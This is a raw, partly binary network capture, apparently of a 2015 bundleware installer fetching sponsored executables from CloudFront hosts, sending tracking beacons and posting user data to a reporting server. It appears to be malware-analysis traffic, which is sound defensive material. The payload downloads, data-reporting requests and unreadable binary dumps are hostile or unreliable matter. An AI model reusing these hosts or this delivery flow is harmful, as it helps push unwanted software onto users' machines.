..h..I...F..Y.M....j...R..Y...M.....M..hhvJ....M......h6.I...F..Y.hhvJ
....M......hZ.I...F..Y.j....I..(....M..h~.I..iF..Y......hhvJ....M.....
.h..I..IF..Y.hhvJ....M......h..I...F..Y.hhvJ.. .M..x...h..I...F..Y

<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive

..0......M..}....M...8......M..j....M...P......T$..B..J.3.........L...
M...M..<....M.......M..,....M..........M.......M...0.o....M.......M
...H.\....M.......M...`.I....M.......M...x.6....M.......M........ ....
T$..B..J.3..-......L..=M...M.......M.......M.......M.......M..|....M..
t.....P....i.....H..........P..........P........Y..M........P....3....
M.. ....M.......M.......M..t.....H.........M........P....V.....t....K.
...M.......M.......M........T....=(...M.. ....M........\.........M....
...M.......M........\..........P.....'....t....s....M..k....M..c.....P
..........H.........T$..B...D...3.......J.3.........L...K...M..~....M.
......E...........e...M..^.....M..U....M.......M.......M..=....M......
.M.......M.......T$..B..J.3..2....J.3..(.... .L..8K...M.......M.......
M.......M.......M........p....l.....t....a.....l.........M.......M..F.
....t.........M..3....M........t.... .....p....v.....l....k.....h....`
.....h....U.....p....J....M.......M........h..../.....p....$....M.....
..M.......M.......M........p..........h.........M.......M.......M..u..
...h..........d...._.....p.........M..L.....h..........d....6.....p...
......M..#....M.......M.......T$..B...`...3..~....J.3..t......L...I...
M.......M..<....M.......M..,....M.......T$..B..J.3..1....J.3..'....
p.L..7I...M.......M.......M.......M.......M..v....M.......M..f....T$..
B..J.3.......J.3.........L...H...M.......M..1....M..)....M..!....M..z.
...M..r....M..j.....t...._....M..W....M........t.........M.......M....
....p....)....M.......M........l.........M........p.........M.....

<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive

.....VI......VI.....&VI......VI.....6VI.....>VI.....IVI.....TVI....
._VI....._VI....._VI.....gVI.....oVI.....zVI......VI......VI......VI..
....VI......VI......VI......VI......VI......VI......VI......VI......VI
......VI......VI......VI......................... ....WI.!....WI."....
WI."....WI."...(WI."...0WI.&...8WI.'...@WI.(...KWI.(...VWI.&...aWI. ..
.iWI.,...tWI.,....WI."....WI.!....WI. ....WI...............B."........
.L.......L..............................WI..............WI......WI....
..WI......WI...................L.............L.B.".......(.L.......L..
...............................p.L..............XI......XI.....'XI....
........./XI.....7XI.....?XI.....GXI.............v.B."...0.....L......
.L.....................*.../.......8.L.............tXI.....|XI......XI
......XI......XI......XI......XI......XI......XI......XI......XI......
XI......XI......XI......XI......XI......XI......YI......YI......YI....
..YI......YI.....#YI..... YI.....3YI.....;YI.....;YI.....;YI.....CYI..
...KYI.....VYI.....aYI.....lYI.!...wYI......YI......YI......YI.%....YI
......YI......YI......................... ....YI.,....YI.,....YI. ....
YI...............B.".......l.L..............................ZI."......
...L.............................)ZI.".........L.......L..............
...............LZI.............TZI.....\ZI.....dZI.....lZI............
.......L...............B.".......D.L.....|.L..........................
....ZI..............ZI......ZI......ZI......ZI...................L....
.........c.B.".........L.......L..................................

<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=1000000-1206159

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 206160

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT

Accept-Ranges: bytes

ETag: "76e36b728e29d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sat, 21 Feb 2015 06:14:36 GMT

Content-Range: bytes 1000000-1206159/1206160

X-Cache: RefreshHit from cloudfront

Via: 1.1 e4438a14707a01f6102dc21875d75080.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 3oxafH52f31v3iFjNM7HaQVUSvhR-ECTaImUs87OFpthhEx9cNnrqg==

......................................................................
.................................................................@....
................GGG888888.......................&&&&&&&...@@@@@@@(((((
((........4444444.....................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
[email protected].......................&
&&&&&....@@@@@@@(((((((.......44444444................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.......................................?..................GGG8888888..
....................&&&&&&&&..@@@@@@((((((((......44444444............
......................................................................
......................................................................
......................................................................
..................................................................

<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.14264361427969802 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/428401b2724ce34c9657f205e14d247c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.1232722804.1424736155.1424736155.1424736155.1; __utmb=1.1.10.1424736155; __utmc=1; __utmz=1.1424736155.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:03:09 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 00:03:09 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

POST /online/Report.aspx HTTP/1.1

Content-Type: multipart/form-data;boundary=---------------------------608D02426E43

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Content-Length: 852

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=stwasxzel0a5ovn3t1puwm55

-----------------------------608D02426E43

Content-Disposition: form-data; name="ProductID"

-----------------------------608D02426E43

Content-Disposition: form-data; name="Version"

3.3.9.4

-----------------------------608D02426E43

Content-Disposition: form-data; name="UserID"

8bbf5d60-0613-4bcc-93c8-28817ab1fcc2

-----------------------------608D02426E43

Content-Disposition: form-data; name="Password"

bbRSxORx

-----------------------------608D02426E43

Content-Disposition: form-data; name="XmlData"

<xml><VERSION>3.3.9.4</VERSION><ACCFAILUREINFO>kJ79Iwl e1s2/G8nRzh5ELBkVPoUjhogZ7pxoWdsrUU0WQQicfmo07WDE3STM32CP0gISt2/sLfwO4RkVciWc/kiuWQtfNTYfCc56FjccT1XXcVBUJlIVi2n2PaSTXVTobfpyd uyKERKswPDh1GAkRy6DZO1LiivytcG5MEgIAbtdK8bYfXZ1SeqXDIGTM3qRRGU6wa1Qw=</ACCFAILUREINFO></xml>

-----------------------------608D02426E43--


HTTP/1.1 200 OK

Connection: close

Date: Tue, 24 Feb 2015 00:04:09 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 486
..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "h
ttp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html 
xmlns="hXXp://VVV.w3.org/1999/xhtml" >..<head><title>..
.Untitled Page..</title></head>..<body>..    <for
m name="form1" method="post" action="Report.aspx" id="form1">..<
input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwU
JNzgzNDMwNTMzZGS5uR/A3ROIkR45UlMsd92KJ/ALeg==" />..    <div>.
.    ..    </div>..    </form>..</body>..</html&g
t;....

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Age: 713

X-Cache: Hit from cloudfront

Via: 1.1 de7a549023f0ea5ae15f58d27aeb67c7.cloudfront.net (CloudFront)

X-Amz-Cf-Id: vhF3Z4H-BhlyqcXuwdIbrsym-gKZTxl6SjmQfYeF2AMEDXSmkJ-Kew==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /infv3/index/2606/3rd/6.3.76.1518/37f90e7172ce364049fd177205bf4b1d HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.inipegcc.com

Connection: Keep-Alive


HTTP/1.1 302 Moved Temporarily

Server: nginx

Date: Tue, 24 Feb 2015 00:03:57 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.2.14p1

Location: hXXp://VVV.inipegcc.com/files/zip_r3/2606_ecd79b66f49d1d1c707187ca5bffb0b3/2.zip

0......

GET /files/zip_r3/2606_ecd79b66f49d1d1c707187ca5bffb0b3/2.zip HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.inipegcc.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:03:57 GMT

Content-Type: application/zip

Content-Length: 482594

Last-Modified: Mon, 16 Feb 2015 09:34:06 GMT

Connection: keep-alive

Accept-Ranges: bytes
PK........B.PF:...............422.db.....h..-..M....<..A#.<y....
\Y...7a.....V0YKW.zx....(....N.J8...t.J.-Q..C$....G.!;Q`....;..lOJ?...
.......\C..D2..^..^.Y.m.......N..(1...p1...b. 0.....\D...g\.q...}...@6
W.6........U.\a.....hh...;.....]......K.V.....uj.;y9e.".9R...j.T)....X
.i.F2v...q|.".2..V`:FBz........W3P7589DPK..........CF.1..T....n......w
pm_v20.0.0.1714_0204.exe..Sp,..?~...m........b..m..m.v....|.v.z~..9. .
..g....~.........k9.y....^,..v..f'F....]..... /.y7*....5Q...Zh?j...5Nd
...P,.'.q.N.......V..A.A........bQ.G.e.....?......../.]R..Mf%.q......g
.0...... .yIH.r.......y...>I_..........T...VY..%QRE._....(......-j.
.K.Dv........4....N...z...".K.I.;..$i..........$!3.. .i.!..-.......jy?
....g.&...F.LZ9.W.4......y...E...Et.<00.<.d..V..o..5...-?..(....
...B..4.wn...1^.w...V.*.w..s....?c....#5....!J..[85T.u%...........dW5;
!*.....zQY....8X....c...J.P/........oUh.n.t..'.*d..?.].p/.......O-..y.
.[Q |...Xv~.....,...........u..^.Ve.V.l../.2..ef....G(HR.....a....... 
..T{}x.....w.-T...........2...a.I.rE...a....z........i...]..>N./...
.a.......9.......i..}t.w.s^.....w..=.gP.......I.?...HM.....}n..a......
...Y-.'/|.zq{.B..s.l.....:...........E......2.F..]_.!^.i^.......u....k
_.../.qj.. 7.K.[.^?..p|.rx)...^p.C................t*....:H....m..0,..9
P.,x"^D..>....(..j.......y......-....".1e@....!.b..h.tV.X...D..... 
...MB.....wf..O......r.....NBE..3....&.3.#...]....%.`.&5{Q..R z.z..\{.
h....G.\e^_......z....r.HO~K..'9|....z.s..S..d. ...2.D^.."..U_.4..l^.V
.}A...K..v......B .P....wJ.3{-...3"......w%.[..:)..s..U..f.B..n\.G<<< skipped >>>

GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1

Range: bytes=50018-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 150054

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:42:08 GMT

x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH

x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537

Cache-Control: max-age=3600

Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT

ETag: "ef7d1863f4980ab0c8bda142fee67f92"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 50018-200071/200072

Age: 283

X-Cache: Hit from cloudfront

Via: 1.1 3f22ccb0670a6dfd48cff193a28e878c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 6xhl5rC3QxzpgMaBnjAMLwt4d3Cpm4aGP8RL-zGzmpoHwBdHElZVvA==
M.{..h.Hk.Y*.._4N.....w..?0 .G..K.F...!....f.b...Z...w.B.l..,.pB..2.~~
.......J.;k.#t..".np...K.....R..3.T........4..k/.?.../.....}..^.-.....
.P.W,X..b...Y.TZv.S.J.F.MZ.7.,..H.c..=.dt6u...(......O.......Mf4;...{s
...8......q.V....!J\B.....e...c..s...Y}.......9&:..z....1..l...v?.....
.7..4h.mJ....A.v..f....a.C...|E...\....T.O... ..|7f..vrw.......H......
.c...~...%..G/4K"<..d....2.e.G[..}=.S.R$.o......g.........y....)P..
wRr..[(.u.I|.6..My......y...I.t;.h....(n.m...b.G\.qH..G.......C?EC....
([email protected].....).q3....^L.. .....Yw......n.....a.3...^...g.yH..
..v.<x.X...D,M..'..MzF..zFf......|.h%.6M...d`.)[email protected]$SL....
... .&.7..(:.F.>8....M5..^o_.....o...\...N....x......q.O...7"QB...A
w....;G..b..{c .....?wF....jW=..r$hAHo.SdV.#.7..............>.B.z..
.J...I=...i.g..#....3. s>../j=vN........g.....O....D.1..C.V.E...6.f
I.}Y.{?L.....wh.$Rb.."... .}h..1..xQ...[[email protected]....*.9l
.Rfx...,..)D...%....{~...;q>s.0.........J.%....C ...>#qc.G...Q..
.$:|..b....[=...5.e\.Ov.O.:...._....J.M.)._.".../o...:.44.S.D..Fp...*.
.....[.u7...A...-......C...4.~...W.iK!.n.[:..%...."...5.3.M,t.w.w....s
...o..j9....b3..6(......0.-....&..`.].~..yc..p...JV(....O4....T..P-VDr
.D.....0..T.......|.S......rJ....K..X...t..............gl..O.g.{i..(..
l...*.*...$....@..[....6.p.....y.|f.A...&.ha.....t9H....-_..{'QV`.N.&g
t;...C..2...$:.....}/....`..#TKg..I....3.d..p.....IS.G.>Q'....[....
0q.8u...k~.F..H...2..~.X.E.>[email protected]..,B..'Q....L.]..Jy..UZ.<..W..
...z.>n.op..l.j.d .;*Ha#..xx}.8~J...QRK. ..Fi57._....~..!..X.n.<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=3&index_in_screen=1&index_in_session=3&display_height=170&0.4460082802343849 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip23678/7zip/a023ae3ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.2079935846.1424736079.1424736079.1424736079.1; __utmb=1.1.10.1424736079; __utmc=1; __utmz=1.1424736079.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:01:34 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 00:01:34 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/df2ee0eca619e745941b88b65e390118?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d3lspqs37tt24s.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 26401

Connection: keep-alive

Server: nginx

Date: Sun, 22 Feb 2015 04:53:22 GMT

Last-Modified: Tue, 10 Feb 2015 14:45:45 GMT

ETag: "54da1999-6721"

Expires: Sun, 22 Feb 2015 05:03:22 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 377

X-Cache: Hit from cloudfront

Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: w9VVLN-3wK7RHBFWzlNNoO6QJ6k8LOE2tQYrJmVnWbg9JWARgQSelw==
.PNG........IHDR...............-)....tEXtSoftware.Adobe ImageReadyq.e&
lt;..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:080CC8DDBD6511E3B018CC78
0203A0F9" xmpMM:DocumentID="xmp.did:080CC8DEBD6511E3B018CC780203A0F9"&
gt; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:080CC8DBBD6511E3B0
18CC780203A0F9" stRef:documentID="xmp.did:080CC8DCBD6511E3B018CC780203
A0F9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta>
; <?xpacket end="r"?>..!C..c.IDATx......G}.....9....,....;...Mx.
1..!.l...`............{..%.q...o..qp ...1.flA0..E.d......vW..W/S..3..I
gF:....5=..=}..3....._.B>......!...%.....RJr....e...m......M...uW*.
.v..j.J.b.~.w.7QI/....{.@...)]....}.Ugf......eM.u..].N."c%.,.V...;.5..
}.v.......A...l>.;.>O....Lo..ku^......3.8....x./M.G]5y.(P....p..
.X..^.z.....R._ ..m..u/|.......:D.Z....\........;\....k.....|x>7\."
....RLi.$.%ZWo\......o.]]q...|.r.......Y.3.mal...d{{..W.....fQ.-......
.j5..e.....6............k(......b^k.....|miA....A$..(;o.??D.p.S5S'..KW
.......=....>..H..f.5....N.t...6 .......0w.0.`.......x.y....S{.<<< skipped >>>

GET /sponsored/sourceapp/eula-sourceapp.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/df2ee0eca619e745941b88b65e390118?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d3lspqs37tt24s.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 22 Feb 2015 05:12:09 GMT

Last-Modified: Sun, 02 Nov 2014 08:13:44 GMT

Expires: Sun, 22 Feb 2015 05:22:09 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: RefreshHit from cloudfront

Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: HXEEndpIrkMP07DV66kuQXe4VPFeUonnCeb5uimG7Q1o80hk3kYWCA==
36ec.............}.r....sU..C..cLE."U.m[. ."A.6I...d..#.$IT.H..Q......
....Yk.}....|..vtGQ@..........=...>^....tR\].=...{.....?9>>..
..z?.8/^..,..r........../.....j...........zqw<....X..c..p...h......
....t2[.~.0.~......lU..|....jU...r..V..[.n......a.z.T..q^.~oU}^...K~..
M=z....7.zR/^......;~4-.w.......p?^U..y9.^..z1-'..........O_...N......
.u...............wz%'b ..p..a9............)?-..an....^....r.....5s~:.g
..N......;...o.....G..c....5.x...j=)...a.....i_....v..-./......n_./...
w......E..?h..w........=.|h..........t..Y....A..{.....O....A.{.?(>.
....x'...x.e.....z-~..}P.......>..........>>.\`..3|......6..k
.;.....o.;.......Q....8~....dS-....U..V..xV.....=...8..|<.f..h.-.jZ
.V........(.EU...H..,..zV....E.^/.Uk>...b........A..P.....[/1....L.
;...#M.kL..0.5&.,.......X.......c.X._xw1.OA.#.......%.mR.6..TeS.Y..\..
.]=p.6...s....^...;.....?U...u...|9.X.W...r.X\...../.?....b^/JN.?[T...
.. |..j3..r...r<)o.....IBf.},......>....<.0..#-.s.._U.0..x9..
....d=....\.....r6...... l..g.....N.........k.....^d.....\...XK|...pF8
...Jk......ZL.9......Z....|.....r...N....' <..,k..A.H.h...CQ......j
t.....C./[email protected]...$<y..
.... ....|X.....Z.w...2H.c..4...).......... l3F.o3.,....qVc...Z.SmP...
.02&.....Y.j...s.bR...(.. ...;..K.lb(g.z.Z.G.a....`>...1......K2...
/.hg.....9e...H.gU.Zc.,z......2f.........7..R.AYX.'.....`.I...B..4p...
....x..@.\..5U..x.......*..z.=r.6.'.s\H.9.!.N.;......g....gq.O.. .Y...
...[.X%........ L.........9..E..............`.I1.F.......0|.h...".<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=71390-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 214168

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 71390-285557/285558

Age: 913

X-Cache: Hit from cloudfront

Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: KISTe0v4H3kElt0nQvgbct0ub5ktK6wJRh8B7QZpXRyquqYy8Ch_kw==
..k.X...84P..%V........O._.rg.7.g..`G4.$u.x.$...I.aO..-....U/x.x..'...
..........c.$Q|... ~..gg..3.>......7T:..Ef=or.&.mR.....]..a....Drj.
....r.Z./:[email protected]....>....fVVT.p.?".<...r....|.G....z....~.P
W.........jP...i..>..rR".0.=8..v..> ..M...}?........:1.P&."...tK
.q..... ..n.C......L..(..x/.h.....N.........q....Z........Y..e.&..y...
.IkdCU...V..t....c...D.\.v..R/.~.....@,K.,.I..uY....V.<a.._.,......
2.W...z.S.....so....1.#[email protected].,.x.....f...<....
x)..m.(.L9.pT. ...,G.&......._...>.r....3.h..D........$.......KA..~
.%.(..O.A...;...L..;.?Id^.....$.L'.......$.K..t_h.}.?..G.[..3.".b.....
j.F....=z.d....t>r....>c.......v..)_..>......._./....(....DoD
C..wA.r...n~..[v...RB-J.Bd.T.Jm...J.w.<.T.......g].(.O.f.&......UYL
.|9....1h.H....u..O..E_.g{Z.]....W......M.8D.=k.VBH..d..X..$.C.8.Y..eM
/.=.Rwh....9.y.^.!.I...Z... ..}.v......CA......2.v..p\5...O"..\S....s.
...o.d..x..Q..q.:.K..h..\m(.t..e<.mE...8.T..>z.k.gY.b.q.Y-U.8.}.
|W.m.Z.o.{......F.y...uq..;.............B.k..u...0-.1.O..a.*...Y..I..X
(H.82.m......Y..6.9Z.h.m...M.]|kw...5...h-F...Z.*S.~ @.m8<..`f(.).v
...?....-Fodj.......zP^.c......hJ.`. .....:[email protected]<.
..z-...=..z.....[....&..... e`...w..g_ b>.-.F.$...\V........(....G.
..../}2,6.yUD........8.p.2=,h.).i..8..Y......ds.A\...e#M...M#........Z
I..Z...|W.....>.2`7.p,......z.......JB.......B...Q."...%..."\.....I
......I.F.U.?...I..A...<.2<...G=E.9...M.K|Z!...b.5....A..5U...7.
..K.8..UfS..._..$.A.....I([email protected].,...RZ<<< skipped >>>

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.regok HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 24 Feb 2015 00:04:08 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.65 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 24 Feb 20
15 00:04:08 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.65 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=249864-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 35694

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 249864-285557/285558

Age: 714

X-Cache: Hit from cloudfront

Via: 1.1 7b48191d48ad0a2b3616c20acd7fbc1c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: NGhotDMpICPfBjoj2QK41PSTSkyO7QEZxq7bxacNLJ_8TZgHIUJVEQ==
..X..9f.q...%.@_e../xo....nFE5..b:.....I..}..ELr.......b.....=..Bq.G._
...|.eh:..B_]...'.q.T..XMz4N.@.....?.....Kg.I....f&.\.B6...........f..
Ff...,...i0E["...A/#.).....P..]..,.[..$.../..Q..>'...F.1.=.h.C ..l.
..Vc..^K]....z.Dp.<6.. .=..%$`.G...'..h..'"#......!^..}F7g..[.K..n~
.s..4fo%.K.....M...-......GM|V.......N..o...(.,........1...=...J{....~
v..C...HwM'rg=...Y..Y>Rj.[....=Xh%P.F(...Ph.D&..S.....EF..7....\.Z.
